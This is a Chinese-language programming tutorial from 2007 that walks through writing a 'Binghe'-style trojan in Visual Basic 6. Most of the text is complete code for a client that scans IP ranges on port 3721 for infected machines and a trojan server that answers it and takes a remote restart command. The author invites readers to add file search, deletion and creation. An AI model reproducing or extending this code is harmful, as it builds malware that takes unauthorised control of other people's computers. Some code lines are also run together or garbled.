談談遠程控制中關于搜索、控制計算機的功能
發表于:2007-07-14來源:作者:點擊數:
標簽:
作者 武漢 艾軍 相信大家對“冰河”之類的軟件一定都非常的感興趣,這里我們一起來討論一下“冰河”類軟件中關于如何實現搜索、控制遠端計算機(在局域網、或互聯網上搜索那些中了木馬的機器)的功能。 一、 編程原理 客戶端程序:(控制遠端計算機) 在 VB
作者 武漢 艾軍
相信大家對“冰河”之類的軟件一定都非常的感興趣,這里我們一起來討論一下“冰河”類軟件中關于如何實現搜索、控制遠端計算機(在局域網、或互聯網上搜索那些中了木馬的機器)的功能。
一、 編程原理
客戶端程序:(控制遠端計算機)
在 VB 中,我們可以通過 Winsock 控件的 TCP 協議,通過循環向指定的各個 IP 地地址的指定端口發送連接請示,然后分析返回值,已確定哪些機器是我們可以控制的。
服務器端程序:(也就是木馬)
同樣通過 Winsock 控件的 TCP 協議,通過監視指定的端口,取得相關的信息,分析信息是否為客房端程序發送過來的信息,然后進行一定的處理。
二、 基礎
知識
下面介紹一下 Winsock 控件的屬性、方法、事件,這樣大家對程序就會有更深的了解。
Winsock 控件的屬性:
.LocalIP 屬性 返回本地機器的 IP 地址,格式是 IP 地址加點字符串 (xxx.xxx.xxx.xxx)。在設計時是只讀的,而且是不可用的。
.Protocol 屬性 返回或設置 Winsock 控件所使用的協議— 或者是 TCP,或者是 UDP。
.RemotePort 屬性 要連接的遠程計算機的端口。
.RemoteHost 屬性 要連接的遠程計算機的名稱,也可以是 IP 地址。
.LocalHostName 屬性 返回本地機器名。在設計時是只讀的,而且是不可用的。
.State 屬性 返回控件的狀態
State 屬性的設置值是:
常數 值 描述
sckClosed 0 缺省的。關閉
sckOpen 1 打開
sckListening 2 偵聽
sckConnectionPending 3 連接掛起
sckResolvingHost 4 識別主機
sckHostResolved 5 已識別主機
sckConnecting 6 正在連接
sckConnected 7 已連接
sckClosing 8 同級人員正在關閉連接
sckError 9 錯誤
Winsock 控件的方法
.Connect 方法 要求連接到遠程計算機。
.Close 方法 對客戶機和服務器應用程序關閉 TCP 連接或偵聽套接字。
.Listen 方法 創建套接字并將其設置為偵聽模式。該方法僅適用于 TCP 連接。
.GetData 方法 獲取當前的數據塊并將其存儲在變體類型的變量中。
.A
clearcase/" target="_blank" >ccept 方法 僅適用于 TCP 服務器應用程序。在處理 ConnectionRequest 事件時用這個方法接受新連接。
Winsock 控件的事件
.ConnectionRequest 事件 `當遠程計算機請求連接時出現。僅適用于 TCP 服務器應用程序。
.DataArrival 事件 `當新數據到達時出現。
三、 編程實踐
下面我們就以一個實例來說明,如何實現用控制程序(客戶端的程序)在局域網或互聯網上搜索運行了木馬(服務端的程序)的計算機,并對其進行控制(讓該計算機重新啟動)。
(1)客戶端程序:
1、新建一個 VB 工程,添加一個 Winsock 控件(用來實現遠程連接);一個 ProgressBar 控件;一個 List 控件(顯示可以控制的計算機的 IP 地址);一個 Frame 控件,其 Caption 為 “搜索范圍”;七個 Label 控件,其 Name 都為默認值,Caption 分別為 “監聽端口:”,“延遲時間:”,“毫秒”,“起始域:”,“起始地址:”,“終此地址:”,“搜索結果:”;二個 Command 控件,其 Name 都為默認值,Caption 分別為“開始搜索”,“程序結束”,一個 StatusBar 控件(其中涉及的幾個非常規控件,請按下面的步驟加載:工程→部件→Micrsoft Windows Common Controls 5.0;Microsoft Winsock Control 6.0),程序設計界面如圖1所示:(是不是和冰河 V2.2 版中搜索計算機的窗口非常相似呀)
2、現在切換到代碼編輯窗口,依次寫入以下代碼:
注意:在下面程序中我所提到的“木馬”,就是服務器端的程序
①全局變量的聲名
Option Explicit
Dim myip As String `保存本地 IP 地址
Dim IsFind As Boolean `判斷計算機是否可以控制
Dim temp_i, temp_j, temp_n, temp_o, sum_i As Long `5 個臨時變量
②程序初始化設置
Private Sub Form_Load()
myip = Winsock1.LocalIP `返回本地機器的 IP 地址,在設計時是只讀的,而且是不可用的。
Winsock1.Protocol = sckTCPProtocol `使用 TCP 協議
`程序初始化設置
Text1(0).Text = "3721" `為服務器端口值
Text1(1).Text = "2000" `搜索木馬機器的延遲時間
For temp_j = 1 To 3
temp_i = InStr(temp_i + 1, myip, ".")
Next
Text1(2).Text = Left(myip, temp_i - 1) `起始域
Text1(3).Text = "1" `起始地址
Text1(4).Text = "10" `終此地址
StatusBar1.Style = sbrSimple `設置 StatusBar 控件的樣式
StatusBar1.SimpleText = "準備搜索" `設置 StatusBar 顯示的文本
End Sub
③開始搜索中木馬的計算機
Private Sub Command1_Click()
On Error GoTo error1
sum_i = 0 `用來保存搜索到的計算機數目
temp_j = ProgressBar1.Min `取得 ProgressBar 控件的最小值
List1.Enabled = False
List1.Clear `清空列表框
StatusBar1.SimpleText = "開始搜索計算機....."
Command1.Enabled = False
For temp_i = 0 To 4
Text1(temp_i).Enabled = False
Next
`進行一系列的錯誤判斷
If Int(Text1(3)) < 0 Then GoTo error1
If Int(Text1(4)) < 0 Then GoTo error1
If Int(Text1(4)) - Int(Text1(3)) < 0 Then GoTo error1
ProgressBar1.Max = (Int(Text1(4)) - Int(Text1(3)) + 1) * 10 `定義 ProgressBar 控件的最大值,在后面的程序中可以實現"進度條"
For temp_i = Int(Text1(3)) To Int(Text1(4)) `循環開始連接各個 IP 地址
StatusBar1.SimpleText = "正在連接" & Text1(2).Text & "." & temp_i & "....."
IsFind = SearchComputer(Text1(2).Text & "." & temp_i) `通過自定函數 SearchComputer 判斷該 IP 地址,是否有可以控制的計算機
temp_j = temp_j + 10 `定義"進度條"增加的塊數
ProgressBar1.Value = temp_j `增加“進度條"的塊數,以產生動態變化
StatusBar1.SimpleText = "搜索完畢,共找到" & sum_i & "臺計算機可以控制"
Next
Command1.Enabled = True
List1.Enabled = True
For temp_i = 0 To 4
Text1(temp_i).Enabled = True
Next
Exit Sub
error1:
MsgBox "程序運行錯誤,請重新設置后,再運行本程序??!",
vbCritical, "程序錯誤"
For temp_i = 0 To 4
Text1(temp_i).Enabled = True
Next
List1.Clear
Command1.Enabled = True
StatusBar1.SimpleText = "準備搜索"
End Sub
④自定義 SearchComputer 函數,用來判斷指定 IP 地址的計算機是否可以控制
Private Function SearchComputer(ByVal ip As String) As Boolean `自定義函數,判斷指定 IP 地址的計算機是否可以控制
On Error Resume Next `在 Win98 下
測試時,有時間會出現“沒有可用的緩沖空間”的錯誤,而在 Win2000 下測試時則不會出現該錯誤,因此為了防止程序出現致命的錯誤,就用了這個 On Error Resume Next
Dim PauseTime, Start As Long `定義暫停的時間,及開始斬停的時間
Winsock1.Close `關閉 TCP 連接,以便下次連接
Winsock1.Protocol = sckTCPProtocol `使用 TCP 協議
Winsock1.RemotePort = Val(Text1(0).Text) `要連接的遠程計算機的端口,一般不要改變,因為在下面制做的服務器端的程序中,就是監視本程序的默認端口 Winsock1.RemoteHost = ip `要連接的遠程計算機的名稱,也可以是 IP 地址
Winsock1.Connect `要求連接到遠程計算機
PauseTime = Val(Text1(1).Text) / 1000 ` 設置延遲時間,把毫秒轉換為秒。
Start = Timer ` 設置開始暫停的時刻
Do While Timer < Start + PauseTime
DoEvents `轉讓控制權,以便讓操作系統處理其它的事件。
`在設置的延遲時間內,連接遠程的計算機
Loop
`Loop Until Winsock1.State = sckConnected Or Winsock1.State = sckError `也可以為永遠的連接遠程的計算機,除非發生錯誤或連接成功才退出
If Winsock1.State = sckError Then SearchComputer = False `連接錯誤
If Winsock1.State = sckConnected Then
SearchComputer = True `連接成功
Winsock1.SendData "Call" `向服務端的程序發送信息,以通知需要進行連接,如果服務端程序有響應則會發回相應的信息
PauseTime = 1 ` 設置延遲時間
Start = Timer ` 設置開始暫停的時刻
Do While Timer < Start + PauseTime
DoEvents `轉讓控制權,以便讓操作系統處理其它的事件。
`讓服務端的程序有足夠的時間處理 Winsock1.SendData "Call"
Loop
End If
End Function
⑤接受服務端程序發出的信息,從中取出所需要的信息,進行處理(取得中木馬計算機的 IP 地址)
Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long) `當新數據到達時出現
On Error Resume Next
Dim getinfo As String `用來保存取得的信息
Dim isgetinfo As Boolean `一個臨時的變量
Winsock1.GetData getinfo, vbString `取得信息
temp_o = InStr(1, getinfo, "OK")
If temp_o <> 0 Then
getinfo = Right(getinfo, Len(getinfo) - 2)
For temp_n = 0 To List1.ListCount
If InStr(1, List1.List(temp_n), getinfo) = 0 Then
isgetinfo = True
Else
isgetinfo = False
Exit For
End If
Next
If isgetinfo = True Then
List1.AddItem getinfo `把 IP 地址寫到 List1 中
sum_i = sum_i + 1
End If
End If
End Sub
⑥對遠程計算機進行一定的操作(使用遠程計算機重新啟動)
Private Sub List1_DblClick() `在本程序中是通過雙擊 List 中顯示的 IP 地址,使該計算機重新啟動
Dim yn As Long
yn = MsgBox("是否關閉該計算機上的服務器程序??!", vbYesNo + vbExclamation, "遠程控制")
If yn = vbYes Then
IsFind = SearchComputer(List1.List(List1.ListIndex)) (注意1)
If IsFind = True Then
Winsock1.SendData "Restart" `向服務端的程序發送重新啟動計算機的命令
List1.RemoveItem (List1.ListIndex)
End If
End If
End Sub⑦在文本檔上上移動光標時實現全選
Private Sub Text1_GotFocus(Index As Integer) `當文本框得到光標時自動全選
For temp_i = 0 To 4
AutoSelect Text1(temp_i)
Next
End Sub
Private Sub AutoSelect(SelObject As Control)
SelObject.SelLength = Len(SelObject.Text)
End Sub
(2)服務器端程序的編寫:
1、新建一個 VB 工程,添加兩個 Winsock 控件(Winsock1 用來監視指定端口,以確定客戶端程序是否與自己發生連接,Winsock2 用來實現與客戶端程序的對話),程序設計界面如圖2所示。
2、現在切換到代碼編輯窗口,依次寫入以下代碼:
①用 Winsock1 來監視指定的端口
Option Explicit
Private Sub Form_Load()
Me.Caption = Winsock1.LocalIP
Winsock1.RemoteHost = Winsock1.LocalIP `要連接的遠程計算機的名稱,這里是設置為本地機器的名稱
Winsock1.LocalPort = 3721 `設置需要監視的端口,要和客戶機的一樣
Winsock1.Listen `將其設置為監聽狀態
End Sub
⑵用 Winsock2 來實現與客戶端程序的對話
Private Sub Winsock1_ConnectionRequest(ByVal requestID As Long) `當遠程計算機請求連接時出現
If Winsock2.State <> sckClosed Then Winsock2.Close
Winsock2.Accept requestID
End Sub
Private Sub Winsock2_DataArrival(ByVal bytesTotal As Long) `當新數據到達時出現
Dim PauseTime, Start As Long
Dim getinfo As String
Winsock2.GetData getinfo, vbString `取得客戶端程序發過來的信息
Select Case CStr(getinfo)
Case "Call" `如果為 “Call”,則把本身的 IP 地址發送回客戶機(這個客戶機就可以對本機進行控制了)
Winsock2.SendData "OK!*" & Winsock1.LocalIP
Case "Restart" `接受客戶機命令,進行重新啟動
` Shell ("rundll.exe user.exe,exit
windowsexec") ‘在調試程序時先注釋到,先用關閉自身的程序來測試吧
Unload Me
End Select
`大家可以在服務端的程序中,設計許多的操作,如查找、刪除、新建文件等等的操作,并一一定義,這樣在接受到客戶端發過來的信息后,可以進行各類不同的操作
End Sub
四、 補充說明:
為了使用程序容易理解,我沒有對 Winsock 控件進行動態的控制。
(1)在客戶端的程序中:如在自定義函數 SearchComputer 中如果連接上服務器端的程序后,就因該再動態新增一個 Winsock 控件,進行接著的操作,保存原來的以便需要對服務器端進行操作時使用,而不會在 (注意1)進行再次連接
(2)在服務器端的程序中:如果有一個用戶連接就因該至少有兩個 Winsock 控件,如果有兩個用戶同時連接,則要有三個 Winsock 控件,依次類堆,因此也需要動態新增 Winsock 控件。
五、 程序完成:
希望大家讀完本程序,對 Winsock 控件有更深的了解,希望大家對遠程控制類(冰河)類軟件有更深的了解,本程序在 PWIN2000+VB6.0 下編輯完成,在 Pwin98、Pwin2000+局域網 上運行正常。
原文轉自:http://www.anti-gravitydesign.com